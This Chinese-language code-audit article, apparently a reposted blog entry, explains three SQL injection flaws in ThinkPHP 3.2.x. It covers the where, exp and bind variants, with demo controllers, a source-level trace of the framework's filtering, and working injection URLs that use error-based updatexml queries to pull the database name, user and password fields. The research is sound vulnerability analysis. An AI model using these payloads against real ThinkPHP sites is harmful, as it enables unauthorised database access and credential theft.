ThinkPHP3.2.x SQL注入

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP3.2.x SQL注入相关的知识,希望对你有一定的参考价值。

初始配置

数据库配置

  • 数据库相关内容配置,文件位置Application/Home/Conf/config.php
<?php
return array(
    //'配置项'=>'配置值'
    //数据库配置信息
    'DB_TYPE'   => 'mysql', // 数据库类型
    'DB_HOST'   => 'localhost', // 服务器地址
    'DB_NAME'   => 'cms', // 数据库名
    'DB_USER'   => 'cms', // 用户名
    'DB_PWD'    => '20010728', // 密码
    'DB_PORT'   => 3306, // 端口
    'DB_PARAMS' =>  array(), // 数据库连接参数
    'DB_PREFIX' => '', // 数据库表前缀
    'DB_CHARSET'=> 'utf8', // 字符集
    'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
);

where注入控制器配置

控制器配置,文件位置Application/Home/Controller/IndexController.class.php

<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

exp注入控制器配置

<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $User = D('Users');
        $map = array('user' => $_GET['user']);
        $user = $User->where($map)->find();
        var_dump($user);
    }
}

bind注入控制器配置

<?php
namespace Home\\Controller;
use Think\\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
        $User = M("Users");
        $user['user_id'] = I('id');
        $data['last_name'] = I('last_name');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

漏洞利用

where注入

Payload:http://127.0.0.1/cms/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

exp注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

bind注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

漏洞分析

where注入

从官方文档我们可以知道如果I()方法不存在过滤参数的话会默认使用htmlspecialchars方法进行过滤,但是同时默认使用的htmlspecialchars函数并没有过滤'

跟进ThinkPHP/Common/functions.php,如果$filters不存在就等值于C('DEFAULT_FILTER')而该值正等于htmlspecialchars,后面使用回调函数array_map_recursive对数据进行过滤

继续往下,后面利用array_walk_recursive,如果输入数据是数组的话回调think_filter进行数据进一步过滤

跟进think_filter方法,如果传入的data是下面数组里面的其中一个就在其后面添加一个空格

进入find方法,跟进ThinkPHP/Library/Think/Model.class.php,因为我们传入的是一个数组,并且$pk值不为数组所以我们就可以直接绕过前面的预设定位到_parseOptions

进入_parseOptions方法,定位到_parseType

进入_parseType方法,发现这里对数据进行强制数据类型转换,然后返回给_parseOptions,这里对数据进行强制数据类型转换,然后放回,进行数据类型转换后自然是不存在sql注入,所以需要绕过这个函数的过滤,回到上一步发现只有经过if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))这个判断才会进入_parseType函数过滤,这里可以使用数组随便绕过

继续往下,进入select方法

跟进ThinkPHP/Library/Think/Db/Driver.class.php,定位到buildSelectSql方法

进入buildSelectSql方法,定位到parseSql方法

进入parseSql方法,从$options数组中取出对应的数值在做相对于的处理后拼接到sql语句中,直接执行导致了sql注入漏洞,任意一个一维数组都可以绕过前面的限制但是payload使用的是id[where],因为只有符合对应的数组键值才会取出拼接

拼接后的语句为

SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)# LIMIT 1 

这里还有一些可以利用的Payload

?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

exp注入

这里也是使用了find方法进行查询,但很明显的一点就是传入的值一开始就是一个数组,并且这里使用原生的GET来传输数据而不是thinkphp提供的I()方法,其原因是要注入成功必须要传入exp参数,而在上文中分析I()方法是发现会默认对数组一些过滤处理,其中就有exp,而exp后面跟了空格的话会导致注入失败

首先跟进ThinkPHP/Library/Think/Model.class.php中的where方法看看,因为$where是数组而整个where方法其实并没有对该数组什么特别的操作,只是在最后把$where数组赋值给了$options数组

进入find方法,这里和前面跟的一样,并不会对该数组进行过滤,直接看看核心的select,跟进到ThinkPHP/Library/Think/Db/Driver.class.php中的parseSql方法,进入parseWhere方法

此时使用payload时候传入的值$where为:

array(1) {
  ["user"]=>
  array(2) {
    [0]=>
    string(3) "exp"
    [1]=>
    string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
  }
}

分析后发现最后会进入到parseWhereItem方法中,在exp的elseif语句中把where条件直接用点拼接,要满足$val是数组,并且索引为0的值为字符串exp,那么就可以拼接sql语句了,所以传入user[0]=exp&user[1]==1 and xxxxxx,造成SQL注入

bind注入

前面分析exp注入的时候,不仅exp那里存在问题,bind也同时存在问题,但是这里会在$val[1]的前面添加:符号导致sql注入失败

进入save方法,跟进ThinkPHP/Library/Think/Model.class.php,定位到update方法

跟进ThinkPHP/Library/Think/Db/Driver.class.php中的update方法,我们发现它也调用了parseWhere方法,结合前面对exp注入的分析,猜测应该还存在bind注入,但是存在一个:阻断了注入

跟进execute方法,看看怎么处理这个:


  • 执行替换操作,将:0替换为外部传进来的字符串,所以让传入参数等于0,这样就拼接了一个:0,然后会通过strtr被替换为1
  • 这里是把:0进行替换为外部传进来的字符串所以我们的payload,这里必须要填0才能消去:

参考文章

戳此查看参考文章

以上是关于ThinkPHP3.2.x SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

代码审计 | ThinkPHP3.2.x框架SQL注⼊

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

ThinkPHP3.2.x RCE

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入